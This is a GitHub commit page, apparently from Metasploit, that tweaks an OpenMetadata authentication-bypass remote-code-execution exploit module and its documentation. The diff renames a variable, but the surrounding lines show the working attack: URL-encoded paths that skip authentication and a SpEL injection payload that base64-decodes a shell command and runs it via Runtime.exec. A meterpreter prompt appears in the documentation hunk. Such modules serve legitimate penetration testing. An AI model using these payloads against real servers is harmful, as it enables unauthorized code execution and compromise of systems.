Skip to content

Commit 8f0d22d

Browse files
committed
Fourth release module and documentation
1 parent 75b3afb commit 8f0d22d

File tree

2 files changed

+3
-3
lines changed

2 files changed

+3
-3
lines changed

documentation/modules/exploit/linux/http/openmetadata_auth_bypass_rce.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -163,4 +163,4 @@ meterpreter > pwd
163163
meterpreter >
164164
```
165165
## Limitations
166-
No limitations
166+
No limitations.

modules/exploits/linux/http/openmetadata_auth_bypass_rce.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -75,7 +75,7 @@ def initialize(info = {})
7575

7676
def execute_command(cmd, _opts = {})
7777
# list of paths that require no authentication
78-
paths_to_skip = [
78+
unauthed_paths = [
7979
'/api/v1;v1%2Fv1%2Fusers%2Flogin',
8080
'/api/v1;v1%2Fv1%2Fusers%2Fsignup',
8181
'/api/v1;v1%2Fv1%2Fusers%2FregistrationConfirmation',
@@ -91,7 +91,7 @@ def execute_command(cmd, _opts = {})
9191
cmd = "sh -c $@|sh . echo #{cmd}"
9292
cmd_b64 = Base64.strict_encode64(cmd)
9393
spel_payload = "T(java.lang.Runtime).getRuntime().exec(new%20java.lang.String(T(java.util.Base64).getDecoder().decode(\"#{cmd_b64}\")))"
94-
paths_to_skip.shuffle!.each do |path|
94+
unauthed_paths.shuffle!.each do |path|
9595
res = send_request_cgi({
9696
'uri' => normalize_uri(target_uri.path, path, 'events', 'subscriptions', 'validation', 'condition', spel_payload),
9797
'method' => 'GET'

0 commit comments

Comments
 (0)